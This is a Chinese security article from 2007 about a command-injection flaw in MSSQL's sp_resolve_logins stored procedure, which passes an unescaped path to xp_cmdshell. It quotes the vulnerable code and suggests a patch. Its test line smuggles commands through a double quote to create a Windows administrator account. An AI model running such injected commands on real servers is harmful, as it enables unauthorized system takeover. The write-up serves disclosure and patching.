MSSQL自身存储过程的一个注入漏洞

所属分类: 实用技巧 / 漏洞研究 阅读数: 1358
收藏 0 赞 0 分享
Infos: MSSQL自身存储过程的一个注入
Author: 疯子[BCT]
Date: 10/11/2007

我看到MSSQL的存储过程中,有模有样的在过滤。 然后我就去读读他们的存储过程。就找到了一个注入而已。
疯子如是说。
漏洞资料如下:

master..sp_resolve_logins存储过程中,对@dest_path参数过滤不严,导致xp_cmdshell注入。

分析:
复制代码 代码如下:

SELECT @dest_path = RTRIM(LTRIM(@dest_path)) 

-- If the last char is '\', remove it. 
IF substring(@dest_path, len(@dest_path),1) = '\' 
SELECT @dest_path = substring(@dest_path, 1, len(@dest_path)-1) 

-- Don't do validation if it is a UNC path due to security problem. 
-- If the server is started as a service using local system account, we 
-- don't have access to the UNC path. 
IF substring(@dest_path, 1,2) <> '\\' 
BEGIN 
SELECT @command = 'dir "' + @dest_path + '"' 
exec @retcode = master..xp_cmdshell @command, 'no_output' 
IF @@error <> 0 
RETURN (1) 
IF @retcode <> 0  
BEGIN 
raiserror (14430, 16, -1, @dest_path)  
RETURN (1) 
END 
END 


master..sp_resolve_logins存储过程 在这一段,经过一定的判断,对 @dest_path 进行了一定的过滤。
但是没有过滤"(双引号)导致了 xp_cmdshell执行任意SQL语句

测试代码:
EXEC sp_resolve_logins 'text', 'e:\asp\"&net user admina admin /add&net localgroup administrators admina /add&dir "e:\asp', '1.asp'
执行上述MSSQL语句,成功添加了一个名为admina的系统帐号

但是此存储过程代码中经过判断,需要系统systemadmin权限的帐号。 

疯子提供了一个给其打补丁的方法:
复制代码 代码如下:

用函数fn_escapecmdshellsymbolsremovequotes把@dest_path过滤就OK了。如: 
SELECT @dest_path = RTRIM(LTRIM(fn_escapecmdshellsymbolsremovequotes(@dest_path))) ,这样就不会产生注入了。 
更多精彩内容其他人还在看

DVBBS7.0Sp2前台提权漏洞利用程序[Kendy版]源码

DVBBS7.0Sp2前台提权漏洞利用程序[Kendy版]源码
收藏 0 赞 0 分享

跨站脚本攻击+Cookies欺骗(Discuz篇)

跨站脚本攻击+Cookies欺骗(Discuz篇)
收藏 0 赞 0 分享

Dvbbs7.1.0 cookie存在泄露绝对路径漏洞

Dvbbs7.1.0 cookie存在泄露绝对路径漏洞
收藏 0 赞 0 分享

关于对SQL注入80004005 及其它错误消息分析

关于对SQL注入80004005 及其它错误消息分析
收藏 0 赞 0 分享

针对蓝牙PIN码的最新攻击技术细节分析

针对蓝牙PIN码的最新攻击技术细节分析
收藏 0 赞 0 分享

细说3721网络实名“病毒”

细说3721网络实名“病毒”
收藏 0 赞 0 分享

浅谈SQL SERVER数据库口令的脆弱性

浅谈SQL SERVER数据库口令的脆弱性
收藏 0 赞 0 分享

MSHTA漏洞为黑客大开远程控制之门(图)

MSHTA漏洞为黑客大开远程控制之门(图)
收藏 0 赞 0 分享

再探九酷网络个人主页空间管理系统

再探九酷网络个人主页空间管理系统
收藏 0 赞 0 分享

黑客突破防火墙常用的几种技术

黑客突破防火墙常用的几种技术
收藏 0 赞 0 分享
查看更多